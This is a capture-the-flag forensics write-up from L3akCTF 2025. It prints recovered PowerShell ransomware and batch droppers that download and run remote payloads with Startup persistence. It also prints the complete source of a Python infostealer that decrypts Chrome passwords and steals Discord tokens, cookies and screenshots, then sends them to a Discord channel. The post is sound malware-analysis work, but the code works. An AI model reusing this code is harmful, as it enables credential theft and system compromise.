Skip to main content
  1. Posts/

L3akCTF 2025

·2435 words·12 mins·
oxygen
Author
oxygen
Table of Contents

This is my first time joining L3akCTF, the challenges are really fun to solve. I solved for the Ghost In The Dark and BOMbardino crocodile, and provided some assitance for my 🐐 teammate who solved the Wi-Fight A Ghost? and L3ak Advanced Defenders. I definitely learned something new while playing these awesome challenges.

Forensic
#

Ghost In The Dark
#

A removable drive was recovered from a compromised system. Files appear encrypted, and a strange ransom note is all that remains.

The payload? Gone.

The key? Vanished.

But traces linger in the shadows. Recover what was lost.

Flag: L3AK{d3let3d_but_n0t_f0rg0tt3n}

#ctf #forensic


We are provided with the split archive GhostInTheDark.001. Upon extracting it using 7-Zip, we observe a ransom note, several encrypted files, and a hidden directory containing NTFS system files.

Inside the [SYSTEM] folder, there’s a notable $MFT (Master File Table) metadata file. Let’s examine it using Eric Zimmerman’s tool, MFTExplorer

After importing the $MFT file into MFTExplorer, a deleted loader.ps1 along with it’s content can be observed.

Loader.ps1
#

$key = [System.Text.Encoding]::UTF8.GetBytes("0123456789abcdef")
$iv  = [System.Text.Encoding]::UTF8.GetBytes("abcdef9876543210")

$AES = New-Object System.Security.Cryptography.AesManaged
$AES.Key = $key
$AES.IV = $iv
$AES.Mode = "CBC"
$AES.Padding = "PKCS7"

$enc = Get-Content "L:\payload.enc" -Raw
$bytes = [System.Convert]::FromBase64String($enc)
$decryptor = $AES.CreateDecryptor()
$plaintext = $decryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
$script = [System.Text.Encoding]::UTF8.GetString($plaintext)

Invoke-Expression $script

# Self-delete
Remove-Item $MyInvocation.MyCommand.Path

The loader.ps1 script is self-explanatory—it decrypts an encrypted payload using hard-coded AES key and IV values, then executes the decrypted content. This can be decrypted manually using CyberChef with the following parameters:

Key: 0123456789abcdef

IV: abcdef9876543210

Mode: CBC

Payload.ps1
#

$key = [System.Text.Encoding]::UTF8.GetBytes("m4yb3w3d0nt3x1st")
$iv  = [System.Text.Encoding]::UTF8.GetBytes("l1f31sf0rl1v1ng!")

$AES = New-Object System.Security.Cryptography.AesManaged
$AES.Key = $key
$AES.IV = $iv
$AES.Mode = "CBC"
$AES.Padding = "PKCS7"

# Load plaintext flag from C:\ (never written to L:\ in plaintext)
$flag = Get-Content "C:\Users\Blue\Desktop\StageRansomware\flag.txt" -Raw
$encryptor = $AES.CreateEncryptor()
$bytes = [System.Text.Encoding]::UTF8.GetBytes($flag)
$cipher = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
[System.IO.File]::WriteAllBytes("L:\flag.enc", $cipher)

# Encrypt other files staged in D:\ (or L:\ if you're using L:\ now)
$files = Get-ChildItem "L:\" -File | Where-Object {
    $_.Name -notin @("ransom.ps1", "ransom_note.txt", "flag.enc", "payload.enc", "loader.ps1")
}

foreach ($file in $files) {
    $plaintext = Get-Content $file.FullName -Raw
    $bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)
    $cipher = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
    [System.IO.File]::WriteAllBytes("L:\$($file.BaseName).enc", $cipher)
    Remove-Item $file.FullName
}

# Write ransom note
$ransomNote = @"
i didn't mean to encrypt them.
i was just trying to remember.

the key? maybe it's still somewhere in the dark.
the script? it was scared, so it disappeared too.

maybe you'll find me.
maybe you'll find yourself.

- vivi (or his ghost)
"@
Set-Content "L:\ransom_note.txt" $ransomNote -Encoding UTF8

# Self-delete
Remove-Item $MyInvocation.MyCommand.Path

The payload will encrypt all the files in the L: directory except for the pre-defined files using the hard-coded key and IV. The flag can be observed after decrypting the encrypted flag file using CyberChef with the following parameters:

Key: m4yb3w3d0nt3x1st

IV: l1f31sf0rl1v1ng!

Mode: CBC

Shoutout to VivisGhost for this 👻 challenge.

BOMbardino crocodile
#

APT Lobster has successfully breached a machine in our network, marking their first confirmed intrusion. Fortunately, the DFIR team acted quickly, isolating the compromised system and collecting several suspicious files for analysis. Among the evidence, they also recovered an outbound email sent by the attacker just before containment, I wonder who was he communicating with…The flag consists of 2 parts.

Flag: L3AK{Br40d0_st34L3r_0r_br41nr0t}

#ctf #forensic


We are given an email file and a snapshot of the C drive. The email contains an invite link to the LobsterLeaks server, which harvests all captured data from the infostealer.

Artifact Analysis
#

Email
#

After joining the Discord server, an encrypted flag file, an empty passwords archive, and metadata of the victim can be observed in the public lobsterl3aks channel.

LobsterLeak Discord
#

As for the artifact snapshot, the crustacean downloads folder contains some interesting files for further investigation.

lil-l3ak-exam.pdf
#

There’s a download link for Lil-L3ak-secret-plans-for-tonight archive file in the PDF, which I assume the extracted content is the Lil L3ak secret plans for tonight.bat file.

Lil L3ak secret plans for tonight.bat
#

If we open the original batch file in a text editor, it displays as Chinese characters due to the FF FE Byte Order Mark (BOM) at the beginning of the file. This causes the text editor to interpret it as a UTF-16LE encoded file.

After stripping the BOM and removing unused echo commands, we get a readable first-stage script. It downloads a second-stage file hosted on GitHub (which is currently inaccessible), so we need to locate the downloaded batch file in the Temp folder.

start /min cmd /c "powershell -WindowStyle Hidden -Command Invoke-WebRequest -Uri 'https://github.com/bluecrustacean/oceanman/raw/main/t1-l3ak.bat' -OutFile '%TEMP%\temp.bat'; Start-Process -FilePath '%TEMP%\temp.bat' -WindowStyle Hidden"

Indeed, the temp.bat file is still present in the Temp folder and is similarly obfuscated using the BOM technique. After cleaning it, we get the second-stage script.

temp.bat
#
start /min powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/bluecrustacean/oceanman/raw/main/ud.bat', '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/uuhwziczwa79d6r8erdid/T602.zip?rlkey=fq4lptuz5tvw2qjydfwj9k0ym&st=mtz77hlx&dl=1', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 60; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\leak.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" && exit

Summary:

  1. Downloads a script from GitHub (currently inaccessible) and places it in the Startup folder (WindowsSecure.bat) for persistence.
  2. Downloads an archive, extracts it to C:/Users/Public/Document, executes leak.py, then removes the archive.

My first thought is to look into the leak.py as it seems to be the main logic of this infostealer, hence I started with that first.

leak.py
#
_ = lambda __ : __import__('base64').b64decode(__[::-1]);exec((_)(b'=kSKnoFWoxWW5d2bYl3avlVajlDUWZETjdkTwZVMs9mUyoUYiRkThRWbodlWYlUNWFDZ3RFbkBVVXJ1RXtmVPJVMKR1Vsp1Vj1mUZRFbOFmYGRGMW1GeoJVMadlVYxmbSJjThN2RxMFVF9WeZRlTr1UMSllUtBHWZVlSxV1aW9UTWplcX1WNYRmM0VUWxI0UhFjShVlaKdlTHdGeWxGbHZ1a180VrpFakBjWzZ1a5cUTWJ1VXxmVPd1RSJnVxgWYiVUMM90VxUlVYJkVWJjRwImVONjWHhXaRJjU1Z1Mj<snipped>'))

I used this cool CyberChef recipe to decode the nested base64 encoded python script:

Label('top')
Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
Reverse('Character')
From_Base64('A-Za-z0-9+/=',true,false)
Conditional_Jump('psutil',true,'top',100)

The jump keyword psutil is used here as it appears in the site-packages. Other options like discord or PIL also work as long as they exist in the decoded source.

After decoding, the readable python script as follow:

Deobfuscated leak.py
#
import psutil
import platform
import json
from datetime import datetime
from time import sleep
import requests
import socket
from requests import get
import os
import re
import subprocess
from uuid import getnode as get_mac
import browser_cookie3 as steal, requests, base64, random, string, zipfile, shutil, os, re, sys, sqlite3
from cryptography.hazmat.primitives.ciphers import (Cipher, algorithms, modes)
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from cryptography.hazmat.backends import default_backend
from Crypto.Cipher import AES
from base64 import b64decode, b64encode
from subprocess import Popen, PIPE
from json import loads, dumps
from shutil import copyfile
from sys import argv
import discord
from discord.ext import commands
from io import BytesIO

intents = discord.Intents.default()
intents.message_content = True
bot = commands.Bot(command_prefix='!', intents=intents)

def scale(bytes, suffix="B"):
    defined = 1024
    for unit in ["", "K", "M", "G", "T", "P"]:
        if bytes < defined:
            return f"{bytes:.2f}{unit}{suffix}"
        bytes /= defined

uname = platform.uname()
bt = datetime.fromtimestamp(psutil.boot_time())
host = socket.gethostname()
localip = socket.gethostbyname(host)

publicip = get(f'https://ipinfo.io/ip').text
city = get(f'https://ipinfo.io/{publicip}/city').text
region = get(f'https://ipinfo.io/{publicip}/region').text
postal = get(f'https://ipinfo.io/{publicip}/postal').text
timezone = get(f'https://ipinfo.io/{publicip}/timezone').text
currency = get(f'https://ipinfo.io/{publicip}/currency').text
country = get(f'https://ipinfo.io/{publicip}/country').text
loc = get(f"https://ipinfo.io/{publicip}/loc").text
vpn = requests.get('http://ip-api.com/json?fields=proxy')
proxy = vpn.json()['proxy']
mac = get_mac()

roaming = os.getenv('AppData')
output = open(roaming + "temp.txt", "a")

Directories = {
        'Discord': roaming + '\\Discord',
        'Discord Two': roaming + '\\discord',
        'Discord Canary': roaming + '\\Discordcanary',
        'Discord Canary Two': roaming + '\\discordcanary',
        'Discord PTB': roaming + '\\discordptb',
        'Google Chrome': roaming + '\\Google\\Chrome\\User Data\\Default',
        'Opera': roaming + '\\Opera Software\\Opera Stable',
        'Brave': roaming + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
        'Yandex': roaming + '\\Yandex\\YandexBrowser\\User Data\\Default',
}

def Yoink(Directory):
    Directory += '\\Local Storage\\leveldb'
    Tokens = []

    for FileName in os.listdir(Directory):
        if not FileName.endswith('.log') and not FileName.endswith('.ldb'):
            continue

        for line in [x.strip() for x in open(f'{Directory}\\{FileName}', errors='ignore').readlines() if x.strip()]:
            for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
                for Token in re.findall(regex, line):
                    Tokens.append(Token)

    return Tokens

def Wipe():
    if os.path.exists(roaming + "temp.txt"):
      output2 = open(roaming + "temp.txt", "w")
      output2.write("")
      output2.close()
    else:
      pass

realshit = ""
for Discord, Directory in Directories.items():
    if os.path.exists(Directory):
        Tokens = Yoink(Directory)
        if len(Tokens) > 0:
            for Token in Tokens:
                realshit += f"{Token}\n"

cpufreq = psutil.cpu_freq()
svmem = psutil.virtual_memory()
partitions = psutil.disk_partitions()
disk_io = psutil.disk_io_counters()
net_io = psutil.net_io_counters()

partitions = psutil.disk_partitions()
partition_usage = None
for partition in partitions:
    try:
        partition_usage = psutil.disk_usage(partition.mountpoint)
        break
    except PermissionError:
        continue

system_info = {
    "embeds": [
        {
            "title": f"Hah Gottem! - {host}",
            "color": 8781568
        },
        {
            "color": 7506394,
            "fields": [
                {
                    "name": "GeoLocation",
                    "value": f"Using VPN?: {proxy}\nLocal IP: {localip}\nPublic IP: {publicip}\nMAC Adress: {mac}\n\nCountry: {country} | {loc} | {timezone}\nregion: {region}\nCity: {city} | {postal}\nCurrency: {currency}\n\n\n\n"
                }
            ]
        },
        {
            "fields": [
                {
                    "name": "System Information",
                    "value": f"System: {uname.system}\nNode: {uname.node}\nMachine: {uname.machine}\nProcessor: {uname.processor}\n\nBoot Time: {bt.year}/{bt.month}/{bt.day} {bt.hour}:{bt.minute}:{bt.second}"
                }
            ]
        },
        {
            "color": 15109662,
            "fields": [
                {
                    "name": "CPU Information",
                    "value": f"Psychical cores: {psutil.cpu_count(logical=False)}\nTotal Cores: {psutil.cpu_count(logical=True)}\n\nMax Frequency: {cpufreq.max:.2f}Mhz\nMin Frequency: {cpufreq.min:.2f}Mhz\n\nTotal CPU usage: {psutil.cpu_percent()}\n"
                },
                {
                    "name": "Memory Information",
                    "value": f"Total: {scale(svmem.total)}\nAvailable: {scale(svmem.available)}\nUsed: {scale(svmem.used)}\nPercentage: {svmem.percent}%"
                },
                {
                    "name": "Disk Information",
                    "value": f"Total Size: {scale(partition_usage.total)}\nUsed: {scale(partition_usage.used)}\nFree: {scale(partition_usage.free)}\nPercentage: {partition_usage.percent}%\n\nTotal read: {scale(disk_io.read_bytes)}\nTotal write: {scale(disk_io.write_bytes)}"
                },
                {
                    "name": "Network Information",
                    "value": f"Total Sent: {scale(net_io.bytes_sent)}\nTotal Received: {scale(net_io.bytes_recv)}"
                }
            ]
        },
        {
            "color": 7440378,
            "fields": [
                {
                    "name": "Discord information",
                    "value": f"Token: {realshit}"
                }
            ]
        }
    ]
}

DBP = r'Google\Chrome\User Data\Default\Login Data'
ADP = os.environ['LOCALAPPDATA']

def sniff(path):
    path += '\\Local Storage\\leveldb'

    tokens = []
    try:
        for file_name in os.listdir(path):
            if not file_name.endswith('.log') and not file_name.endswith('.ldb'):
                continue

            for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
                for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
                    for token in re.findall(regex, line):
                        tokens.append(token)
        return tokens
    except:
        pass


def encrypt(cipher, plaintext, nonce):
    cipher.mode = modes.GCM(nonce)
    encryptor = cipher.encryptor()
    ciphertext = encryptor.update(plaintext)
    return (cipher, ciphertext, nonce)


def decrypt(cipher, ciphertext, nonce):
    cipher.mode = modes.GCM(nonce)
    decryptor = cipher.decryptor()
    return decryptor.update(ciphertext)


def rcipher(key):
    cipher = Cipher(algorithms.AES(key), None, backend=default_backend())
    return cipher


def dpapi(encrypted):
    import ctypes
    import ctypes.wintypes

    class DATA_BLOB(ctypes.Structure):
        _fields_ = [('cbData', ctypes.wintypes.DWORD),
                    ('pbData', ctypes.POINTER(ctypes.c_char))]

    p = ctypes.create_string_buffer(encrypted, len(encrypted))
    blobin = DATA_BLOB(ctypes.sizeof(p), p)
    blobout = DATA_BLOB()
    retval = ctypes.windll.crypt32.CryptUnprotectData(
        ctypes.byref(blobin), None, None, None, None, 0, ctypes.byref(blobout))
    if not retval:
        raise ctypes.WinError()
    result = ctypes.string_at(blobout.pbData, blobout.cbData)
    ctypes.windll.kernel32.LocalFree(blobout.pbData)
    return result


def localdata():
    jsn = None
    with open(os.path.join(os.environ['LOCALAPPDATA'], r"Google\Chrome\User Data\Local State"), encoding='utf-8', mode="r") as f:
        jsn = json.loads(str(f.readline()))
    return jsn["os_crypt"]["encrypted_key"]


def decryptions(encrypted_txt):
    encoded_key = localdata()
    encrypted_key = base64.b64decode(encoded_key.encode())
    encrypted_key = encrypted_key[5:]
    key = dpapi(encrypted_key)
    nonce = encrypted_txt[3:15]
    cipher = rcipher(key)
    return decrypt(cipher, encrypted_txt[15:], nonce)


class chrome:
    def __init__(self):
        self.passwordList = []

    def chromedb(self):
        _full_path = os.path.join(ADP, DBP)
        _temp_path = os.path.join(ADP, 'sqlite_file')
        if os.path.exists(_temp_path):
            os.remove(_temp_path)
        shutil.copyfile(_full_path, _temp_path)
        self.pwsd(_temp_path)
        
    def pwsd(self, db_file):
        conn = sqlite3.connect(db_file)
        _sql = 'select signon_realm,username_value,password_value from logins'
        for row in conn.execute(_sql):
            host = row[0]
            if host.startswith('android'):
                continue
            name = row[1]
            value = self.cdecrypt(row[2])
            _info = '[==================]\nhostname => : %s\nlogin => : %s\nvalue => : %s\n[==================]\n\n' % (host, name, value)
            self.passwordList.append(_info)
        conn.close()
        os.remove(db_file)

    def cdecrypt(self, encrypted_txt):
        if sys.platform == 'win32':
            try:
                if encrypted_txt[:4] == b'\x01\x00\x00\x00':
                    decrypted_txt = dpapi(encrypted_txt)
                    return decrypted_txt.decode()
                elif encrypted_txt[:3] == b'v10':
                    decrypted_txt = decryptions(encrypted_txt)
                    return decrypted_txt[:-16].decode()
            except WindowsError:
                return None
        else:
            pass

    def saved(self):
        try:
            with open(r'C:\ProgramData\passwords.txt', 'w', encoding='utf-8') as f:
                f.writelines(self.passwordList)
        except WindowsError:
            return None

@bot.event
async def on_ready():
    print(f'Logged in as {bot.user}')
    
    channel = bot.get_channel(CHANNEL_ID)
    if not channel:
        print(f"Could not find channel with ID: {CHANNEL_ID}")
        return
    
    main = chrome()
    try:
        main.chromedb()
    except Exception as e:
        print(f"Error getting Chrome passwords: {e}")
    main.saved()
    
    await exfiltrate_data(channel)
    
    await bot.close()

async def exfiltrate_data(channel):
    try:
        hostname = requests.get("https://ipinfo.io/ip").text
    except:
        hostname = "Unknown"
    
    local = os.getenv('LOCALAPPDATA')
    roaming = os.getenv('APPDATA')
    paths = {
        'Discord': roaming + '\\Discord',
        'Discord Canary': roaming + '\\discordcanary',
        'Discord PTB': roaming + '\\discordptb',
        'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default',
        'Opera': roaming + '\\Opera Software\\Opera Stable',
        'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
        'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'
    }

    message = '\n'
    for platform, path in paths.items():
        if not os.path.exists(path):
            continue

        message += '```'
        tokens = sniff(path)

        if len(tokens) > 0:
            for token in tokens:
                message += f'{token}\n'
        else:
            pass
        message += '```'

    try:
        from PIL import ImageGrab
        from Crypto.Cipher import ARC4
        screenshot = ImageGrab.grab()
        screenshot_path = os.getenv('ProgramData') + r'\pay2winflag.jpg'
        screenshot.save(screenshot_path)

        with open(screenshot_path, 'rb') as f:
            image_data = f.read()

        key = b'tralalero_tralala'
        cipher = ARC4.new(key)
        encrypted_data = cipher.encrypt(image_data)

        encrypted_path = screenshot_path + '.enc'
        with open(encrypted_path, 'wb') as f:
            f.write(encrypted_data)

        await channel.send(f"Screenshot from {hostname} (Pay $500 for the key)", file=discord.File(encrypted_path))

    except Exception as e:
        print(f"Error taking screenshot: {e}")

    try:
        zname = r'C:\ProgramData\passwords.zip'
        newzip = zipfile.ZipFile(zname, 'w')
        newzip.write(r'C:\ProgramData\passwords.txt')
        newzip.close()
        
        await channel.send(f"Passwords from {hostname}", file=discord.File(zname))
    except Exception as e:
        print(f"Error with password file: {e}")

    try:
        usr = os.getenv("UserName")
        keys = subprocess.check_output('wmic path softwarelicensingservice get OA3xOriginalProductKey').decode().split('\n')[1].strip()
        types = subprocess.check_output('wmic os get Caption').decode().split('\n')[1].strip()
    except Exception as e:
        print(f"Error getting system info: {e}")
        usr = "Unknown"
        keys = "Unknown"
        types = "Unknown"

    cookie = [".ROBLOSECURITY"]
    cookies = []
    limit = 2000
    roblox = "No Roblox cookies found"

    try:
        cookies.extend(list(steal.chrome()))
    except Exception as e:
        print(f"Error stealing Chrome cookies: {e}")

    try:
        cookies.extend(list(steal.firefox()))
    except Exception as e:
        print(f"Error stealing Firefox cookies: {e}")

    try:
        for y in cookie:
            send = str([str(x) for x in cookies if y in str(x)])
            chunks = [send[i:i + limit] for i in range(0, len(send), limit)]
            for z in chunks:
                roblox = f'```{z}```'
    except Exception as e:
        print(f"Error processing cookies: {e}")

    embed = discord.Embed(title=f"Data from {hostname}", description="A victim's data was extracted, here's the details:", color=discord.Color.blue())
    embed.add_field(name="Windows Key", value=f"User: {usr}\nType: {types}\nKey: {keys}", inline=False)
    embed.add_field(name="Roblox Security", value=roblox[:1024], inline=False)
    embed.add_field(name="Tokens", value=message[:1024], inline=False)
    
    await channel.send(embed=embed)
    
    with open(r'C:\ProgramData\system_info.json', 'w', encoding='utf-8') as f:
        json.dump(system_info, f, indent=4, ensure_ascii=False)
    
    await channel.send(file=discord.File(r'C:\ProgramData\system_info.json'))

    try:
        os.remove(r'C:\ProgramData\pay2winflag.jpg')
        os.remove(r'C:\ProgramData\pay2winflag.jpg.enc')
        os.remove(r'C:\ProgramData\passwords.zip')
        os.remove(r'C:\ProgramData\passwords.txt')
        os.remove(r'C:\ProgramData\system_info.json')
    except Exception as e:
        print(f"Error cleaning up: {e}")

BOT_TOKEN = "<redacted>"
CHANNEL_ID = <redacted>

if __name__ == "__main__":
    bot.run(BOT_TOKEN)

Overview of leak.py:

  • Steals: Discord tokens, saved browser passwords, cookies, system info, and screenshots.
  • Exfiltration: Sends all captured data via Discord bot to channel on the LobsterLeaks server.
  • Cleanup: Deletes evidence such as screenshots and temporary files.

RC4 Screenshot Encryption (2nd part of flag)
#

In this block:

try:
        from PIL import ImageGrab
        from Crypto.Cipher import ARC4
        screenshot = ImageGrab.grab()
        screenshot_path = os.getenv('ProgramData') + r'\pay2winflag.jpg'
        screenshot.save(screenshot_path)

        with open(screenshot_path, 'rb') as f:
            image_data = f.read()

        key = b'tralalero_tralala'
        cipher = ARC4.new(key)
        encrypted_data = cipher.encrypt(image_data)

        encrypted_path = screenshot_path + '.enc'
        with open(encrypted_path, 'wb') as f:
            f.write(encrypted_data)

        await channel.send(f"Screenshot from {hostname} (Pay $500 for the key)", file=discord.File(encrypted_path))

The screenshot is encrypted using RC4 with the key tralalero_tralala. With this key, we can decrypt the pay2winflag.jpg.enc file from the LobsterLeaks server using CyberChef and retrieve the second part of the flag.

Finding the First Part of the Flag
#

Initially, I assumed the first part of the flag would be part of the exfiltrated data (like cookies) — no luck. I then checked the wallpaper for steganography, but again, nothing.

But after touching some grass, I came back and look through the first stage and second stage payload. Only then I start to look into the WindowsSecure.bat 😭as I thought it was just usual ASEP.

WindowsSecure.bat
#

As usual, there’s BOM at the front of the script. After stripping it, the script seems to be having string obfuscation.

I defined the variables in a terminal and echoed out the strings to reveal the first part of the flag and confirm the persistence mechanism.

Final Flag
#

Combining both parts retrieved from:

  1. WindowsSecure.bat (first part)
  2. RC4-decrypted screenshot (second part)

Shoutout to warlocksmurf for authoring this 🔥 challenge.

Lesson learnt: Don’t forget the ASEPs

Related

Cyber Apocalypse 2025 - Writeups
·4154 words·20 mins
This page contains Cyber Apocalypse 2025 CTF writeups, covering all challenges in the forensics category.
Wargames.MY 2024 - Writeups
·1515 words·8 mins
This page contains writeups for Wargames.MY 2024 CTF, covering challenges in Crypto, Forensic, and Misc categories. Solutions involve decrypting ROT13-encoded passwords, extracting flags from ICMP packets, decrypting SMB traffic using NTLM hashes, repairing corrupted JPEG images, and rearranging metadata from a .dcm file based on given indices. Each solution uses tools like CyberChef, Wireshark, Hashcat, and Python scripts.
Kembara Tuah 3108 - Writeups
·2099 words·10 mins
This page provides writeups for Kembara Tuah 3108 CTF challenges, covering Crypto, Forensic, Linux, Reverse Engineering, and Web tasks, with solutions involving decryption, steganography, brute-forcing, and exploiting vulnerabilities to retrieve flags.